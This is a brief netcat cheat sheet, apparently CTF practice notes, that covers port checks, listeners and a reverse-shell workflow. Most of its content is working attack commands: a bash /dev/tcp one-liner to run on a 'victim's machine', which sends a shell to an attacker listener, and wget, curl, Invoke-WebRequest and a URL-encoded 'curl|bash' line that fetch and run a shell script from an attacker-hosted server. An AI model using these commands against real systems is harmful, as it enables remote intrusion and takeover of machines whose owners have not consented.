Check target port avaiable


nc -nv 192.168.0.12 8080
 
nc -nv -w 3 192.168.0.12 8080 # Faster die time if target not open

Check connections


nc jupiter.challenges.picoctf.org 64287

Open current port


nc -lvnp 8080

Perform Reverse Shell

https://www.revshells.com/

In your machine, run the nc listener, assume you are open port 8080


nc -lvnp 8080

In victims machine, run the target code and done


sh -i >& /dev/tcp/192.168.80.105/8080 0>&1

(Optional) In case, you may use python or npm serve to host a simple web server


python3 -m http.server 8080
 
serve -p 8080

(Optional) In victim machine, use wget, curl or Invoke-WebRequest


wget http://172.31.206.223:8080/shell.sh
curl http://172.31.206.223:8080/shell.sh
 
curl%20http://172.31.206.223:8080/shell.sh|bash
 
Invoke-WebRequest http://172.31.206.223:8080/shell.sh -OutFile shell.sh | bash shell.sh
